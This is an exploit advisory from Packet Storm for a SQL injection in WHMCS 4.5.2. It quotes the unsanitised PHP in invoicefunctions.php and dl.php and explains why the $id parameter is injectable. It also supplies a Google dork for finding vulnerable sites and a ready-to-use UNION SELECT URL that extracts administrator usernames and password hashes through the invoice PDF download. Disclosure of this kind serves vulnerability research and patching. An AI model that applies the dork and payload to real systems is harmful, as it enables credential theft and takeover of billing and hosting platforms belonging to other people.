exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WHMCS 4.5.2 SQL Injection

WHMCS 4.5.2 SQL Injection
Posted May 14, 2013
Authored by Ahmed Aboul-Ela

WHMCS version 4.5.2 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 157cbb660d1d85c77b3a38c0c0bf3c21d9875acd83168e26264664cd19fa1450

WHMCS 4.5.2 SQL Injection

Change Mirror Download
# Title: WHMCS 4.x SQL Injection Vulnerability 
# Google Dork: intext:"Powered by WHMCompleteSolution" OR inurl:"submitticket.php‎"‎
# Author: Ahmed Aboul-Ela
# Contact: Ahmed.Aboul3la[at]gmail[dot]com
# Date: 14/5/2013
# Vendor: http://www.whmcs.com
# Version: 4.5.2 and perior versions should be affected too
# Tested on: Linux

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sql Injection Vulnerability in "/includes/invoicefunctions.php"
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

- Vulnerable Code Snippet :

LINE 582: function pdfInvoice($id)
LINE 583: {
LINE 686: if ($CONFIG['GroupSimilarLineItems'])
LINE 687: {
LINE 688: $result = full_query('' . 'SELECT COUNT(*),id,type,relid,description,amount,taxed FROM tblinvoiceitems WHERE invoiceid=' . $id . ' GROUP BY `description`,`amount` ORDER BY id ASC');
LINE 689: }

As we can see here the $id argument of pdfInvoice function have been used directly at mysql query without any sanitization which leads directly to Sql Injection
It appears that pdfInvoice function is being called at "/dl.php" file as the following:


LINE 21: if ($type == 'i')
LINE 22: {
LINE 23: $result = select_query('tblinvoices', '', array(
LINE 24: 'id' => $id
LINE 25: ));
LINE 26: $data = mysql_fetch_array($result);
LINE 27: $invoiceid = $data['id'];
LINE 28: $invoicenum = $data['invoicenum'];
LINE 29: $userid = $data['userid'];
LINE 30: if ((!$_SESSION['adminid'] && $_SESSION['uid'] != $userid))
LINE 31: {
LINE 32: downloadLogin();
LINE 33: }
LINE 34: if (!$invoicenum)
LINE 35: {
LINE 36: $invoicenum = $invoiceid;
LINE 37: }
LINE 38: require('includes/clientfunctions.php');
LINE 39: require('includes/countries.php');
LINE 40: require('includes/invoicefunctions.php');
LINE 41: require('includes/tcpdf.php');
LINE 42: $pdfdata = pdfInvoice($id);
LINE 43: header('Pragma: public');
LINE 44: header('Expires: Mon, 26 Jul 1997 05:00:00 GMT');
LINE 45: header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
LINE 46: header('Cache-Control: must-revalidate, post-check=0, pre-check=0, private');
LINE 47: header('Cache-Control: private', false);
LINE 48: header('Content-Type: application/octet-stream');
LINE 49: header('Content-Disposition: attachment; filename="' . $invoicenum . '.pdf"');
LINE 50: header('Content-Transfer-Encoding: binary');
LINE 51: echo $pdfdata;
LINE 52: exit();
LINE 53: return 1;
LINE 54: }


As we can see at LINE "42" the pdfInvoice function have been called and passed $id Variable without any sanitization
Afterwards it force the browser to download the generated invoice in PDF format

- Proof of Concept for Exploitation

To Dump Administrator Credentials (user & pass):

http://www.site.com/whmcs/dl.php?type=i&id=1 and 0x0=0x1 union select 1,2,3,4,CONCAT(username,0x3a3a3a,password),6,7 from tbladmins --

~ Result: The Browser will prompt download for the pdf invoice file after opening it you should find the username and pw hash there :)

- Precondition to Successfully Exploit the Vulnerability:

"Group Similar Line Items" Option should be Enabled at the Invoices Settings in the WHMCS Admin ( It should be Enabled by default )

- Credits:

Ahmed Aboul-Ela - Information Security Consultant @ Starware Group
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    0 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close